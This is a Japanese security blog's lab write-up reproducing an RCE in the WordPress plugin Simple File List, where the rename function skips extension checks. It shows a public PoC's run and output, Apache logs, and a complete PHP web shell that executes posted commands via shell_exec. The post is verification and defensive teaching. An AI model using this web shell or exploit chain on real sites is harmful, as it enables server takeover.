このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。
あるもりすぶろぐの内容は個人の意見です。
今週も検証の前にちょこっと宣伝
Armoris M氏『Armorisトレーニング、12月は標的型攻撃対応講座目白押しです!』
トレーニング一覧
M氏が気になる方はLet's OSINT☆
Simple File ListのRCEについて検証してみます
自分が管理するサーバー以外では絶対に試さないでください。また、検証は自己責任で行ってください。
今回検証するのはWordPressのプラグインであるSimple File Listのファイル名変更機能の拡張子チェック漏れを悪用した攻撃です。
この脆弱性は、アップロードしたファイルのファイル名変更時に拡張子のチェックが行われていないことが原因で発生するものです。そのため、一度許可された拡張子のファイルをアップロードし、その後任意(.php, .html, etc...)のファイル拡張子に変更することでRCEが可能になります。
脆弱性情報:packet storm
該当プラグイン:Simple File List
影響を受けるバージョン:Simple File List < 4.2.3
検証環境
検証に使用した環境と各種バージョンは以下のとおりです。
Name | Version |
---|---|
UbuntuServer | 20.04 |
Simple File List | 4.2.3 |
WordPress | 5.5.3 |
検証環境の準備
まずはVagrantを使用してUbuntuServerの環境を構築します。
$ cat Vagrantfile Vagrant.configure(2) do |config| config.vm.box = "generic/ubuntu2004" config.vm.provider "libvirt" config.vm.network "forwarded_port", guest: 80, host: 6282, host_ip: "172.20.100.120" end $ vagrant up
次に仮想環境のIPアドレスを確認してhostファイルを編集後にAnsibleを実行します。
$ vagrant ssh-config Host default HostName 192.168.121.132 User vagrant Port 22 UserKnownHostsFile /dev/null StrictHostKeyChecking no PasswordAuthentication no IdentityFile /home/ubuntu/SimpleFileList/.vagrant/machines/default/libvirt/private_key IdentitiesOnly yes LogLevel FATAL $ cat host [server] 192.168.121.132 ansible_ssh_user=vagrant ansible_ssh_private_key_file=./.vagrant/machines/default/libvirt/private_key ansible_python_interpreter=/usr/bin/python3 $ ansible-playbook -i host wp.yml -v
今回は以下のymlファイルを使用しています。
WordPressの構築が完了したらアップロードフォルダの作成とパーミッションの設定をします。
$ vagrant ssh vagrant@ubuntu2004:~$ mkdir -p /var/www/wordpress/wp-content/uploads/simple-file-list vagrant@ubuntu2004:~$ sudo chown -R www-data:www-data /var/www/wordpress
ここまで完了したらプラグインを有効化して準備完了です。
検証
Armoris日記ではPoCは掲載しませんが、実際にいくつか実行可能なものが公開されています。今回はその中でPythonで書かれたものを試します。
PoC実行時にIPを指定してアップロードするファイルとプロトコルを対話形式で入力します。
検証に使用したPoCでは一度ファイル拡張子を.png
形式に変更してからアップロードを行い、ファイル名変更機能でファイル拡張子を.php
に戻しています。
$ cat hack.php $ python poc.py 192.168.121.132 [*] Enter File Name (working directory): hack.php [*] Enter protocol (http/https): http [+] File renamed to hack.png [+] File uploaded at http://192.168.121.132/wp-content/uploads/simple-file-list/hack.png [+] File moved to http://192.168.121.132/wp-content/uploads/simple-file-list/hack.php [^-^] Exploit seems to have worked... URL: http://192.168.121.132/wp-content/uploads/simple-file-list/hack.php
PoC実行後に表示されるURLにアクセスするとPHP infoが実行されることが確認できます。
この時のApacheログを確認すると以下のようになっています。
192.168.121.132 - - "POST /wp-content/plugins/simple-file-list/ee-upload-engine.php HTTP/1.1" 200 210 "-" "python-requests/2.11.1" 192.168.121.132 - - "GET /wp-content/uploads/simple-file-list/hack.png HTTP/1.1" 200 306 "-" "python-requests/2.11.1" 192.168.121.132 - - "POST /wp-content/plugins/simple-file-list/ee-file-engine.php HTTP/1.1" 200 210 "http://172.20.100.120:6282/wp-admin/admin.php?page=ee-simple-file-list&tab=file_list&eeListID=1" "python-requests/2.11.1"
次にshell.php
を作成してRCEを試します。
WebShell参考元:Qiita
<?php session_start(); if ($_POST["cmd"]) { $cmd= $_POST["cmd"]; if ($_POST["cmd"] === "reset") { $_SESSION = []; } elseif (preg_match("/^cd\s/i", $_POST["cmd"])) { $_SESSION["history"] .= $_SESSION["path"]."<br>>".$_POST["cmd"]."<br>"; $_SESSION["path"] = shell_exec($cmd." & @cd"); } else { $_SESSION["history"] .= $_SESSION["path"]."<br>>".$_POST["cmd"]."<br><pre>".htmlspecialchars(mb_convert_encoding(shell_exec($cmd), "UTF-8"), ENT_QUOTES, "UTF-8", true)."</pre>"; } } ?> <!DOCTYPE html> <html lang="ja"> <head> <meta charset="UTF-8"> <title>WebShell</title> <style> *{ color: #00ff00; font-size: 15px; font-family: Hack, monospace; } body{ background-color: #000000; } input{ border: 0px; background-color: transparent; } </style> </head> <body> <?php if (empty($_SESSION["history"])) $_SESSION["history"] = ""; if (empty($_SESSION["path"])) $_SESSION["path"] = shell_exec("@cd"); echo $_SESSION["history"]; echo $_SESSION["path"] ?> <form method="POST"> ><input autofocus type="text" name="cmd"> </form> </body> </html>
ファイルアップロード後にアクセスすると以下のようにRCEが成功することが確認できます。 以上で検証終了です。
最後に
今回検証した脆弱性はよくあるアップロード時のファイル拡張子チェックの漏れではなく、名前変更機能のファイル拡張子チェックが行われていないことが原因でした。
アップロード時は開発時に気を使う部分だと思いますが、その他にもファイル操作に関連する処理にはできるだけ拡張子チェックなどを行うようにした方が良いと感じました。
私自身も開発時には気を付けていきたいと思います。
自分が管理するサーバー以外では絶対に試さないでください。
また、検証は自己責任で行ってください。